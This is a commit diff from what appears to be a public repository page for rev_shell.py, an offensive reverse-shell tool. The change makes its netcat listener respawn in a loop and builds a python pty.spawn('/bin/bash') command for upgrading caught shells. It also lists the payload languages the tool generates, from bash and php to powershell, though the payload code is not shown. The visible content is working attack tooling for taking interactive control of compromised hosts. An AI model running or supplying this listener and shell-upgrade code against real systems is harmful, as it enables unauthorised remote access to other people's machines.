minor improvements
This commit is contained in:
40
rev_shell.py
40
rev_shell.py
@@ -431,21 +431,22 @@ def generate_payload(payload_type, local_address, port, index=None, **kwargs):
|
||||
|
||||
def spawn_listener(port):
|
||||
signal.signal(signal.SIGINT, on_ctrl_c)
|
||||
orig_stdin = os.dup(0)
|
||||
pid, fd = pty.fork()
|
||||
if pid == 0:
|
||||
os.dup2(orig_stdin, 0)
|
||||
x = os.execvp("nc", ["nc", "-lvvp", str(port)])
|
||||
else:
|
||||
try:
|
||||
while True:
|
||||
data = os.read(fd, 1024)
|
||||
if not data:
|
||||
break
|
||||
sys.stdout.buffer.write(data)
|
||||
sys.stdout.flush()
|
||||
except OSError as e:
|
||||
print("[!] OSError:", str(e))
|
||||
while True:
|
||||
orig_stdin = os.dup(0)
|
||||
pid, fd = pty.fork()
|
||||
if pid == 0:
|
||||
os.dup2(orig_stdin, 0)
|
||||
x = os.execvp("nc", ["nc", "-lvvp", str(port)])
|
||||
else:
|
||||
try:
|
||||
while True:
|
||||
data = os.read(fd, 1024)
|
||||
if not data:
|
||||
break
|
||||
sys.stdout.buffer.write(data)
|
||||
sys.stdout.flush()
|
||||
except OSError as e:
|
||||
print("[!] OSError:", str(e), "respawning shell…")
|
||||
|
||||
def wait_for_connection(listener, timeout=None, prompt=True):
|
||||
start = time.time()
|
||||
@@ -556,13 +557,18 @@ if __name__ == "__main__":
|
||||
listen_port = random.randint(10000,65535)
|
||||
|
||||
payload = generate_payload(payload_type, local_address, listen_port, **extra_args)
|
||||
|
||||
if payload is None:
|
||||
print("Unknown payload type: %s" % payload_type)
|
||||
print("Supported types: sh, bash, perl, python[2|3], php, ruby, netcat|nc, java, xterm, powershell")
|
||||
exit(1)
|
||||
|
||||
tty = "python -c 'import pty; pty.spawn(\"/bin/bash\")'"
|
||||
if payload_type.startswith("python"):
|
||||
# e.g. python3.11
|
||||
tty_bin = payload_type
|
||||
else:
|
||||
tty_bin = "python"
|
||||
|
||||
tty = f"{tty_bin} -c 'import pty; pty.spawn(\"/bin/bash\")'"
|
||||
print("---PAYLOAD---\n%s\n---TTY---\n%s\n---------\n" % (payload, tty))
|
||||
|
||||
if payload_type == "xterm":
|
||||
|
||||
Reference in New Issue
Block a user